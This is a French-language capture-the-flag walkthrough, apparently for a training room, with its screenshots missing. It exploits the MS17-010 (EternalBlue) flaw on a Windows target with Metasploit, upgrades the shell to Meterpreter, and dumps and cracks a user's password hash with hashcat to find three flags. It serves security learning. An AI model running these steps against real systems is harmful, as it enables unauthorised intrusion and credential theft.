1. Scan des ports



3 ports

1. Scan des vulnérabilités :



Résultat :



Ms17-010

1. Démarrer la console metasploit : msfconsole
2. Lancer ensuite une recherche sur la console : search ms17-010

Résultat :



exploit/windows/smb/ms17\_010\_eternalblue

1. On va dans le module comprenant le mot détection :

use auxiliary/scanner/smb/smb\_ms17\_010

Puis on fait un show options

Résultat :



Il faut définir : RHOST / LHOST /LPORT /RPORT



On doit avoir ce résultat :



1. On met le shell en background :



Ensuite on recherche le shell\_to\_meterpreter

Puis on utilise le 0 (étant le seul)

Puis on fait un show options



On répond a la question : (Quelle option doit-on changer ?) SESSION

1. 
2. On vérifie ensuite les sessions , commande : sessions

On se met sur la session NTAUTHORITY (la 266 pour moi) : sessions 266



Ensuite il faut simplement suivre les commandes qu’on nous demande de faire, et vérifier que tout est fonctionnel

Task 4 :

En faisant hashdump on peut voir quel est l’utilisateur : Jon



On va utiliser hashcat pour trouver le mot de passe



Pour les flags :

Flag2, on le trouvera dans les fichiers où sont stockés les mots de passe



Le flag1 se trouve dans le root :



Le flag 3 se trouve dans les documents de l’utilisateur :

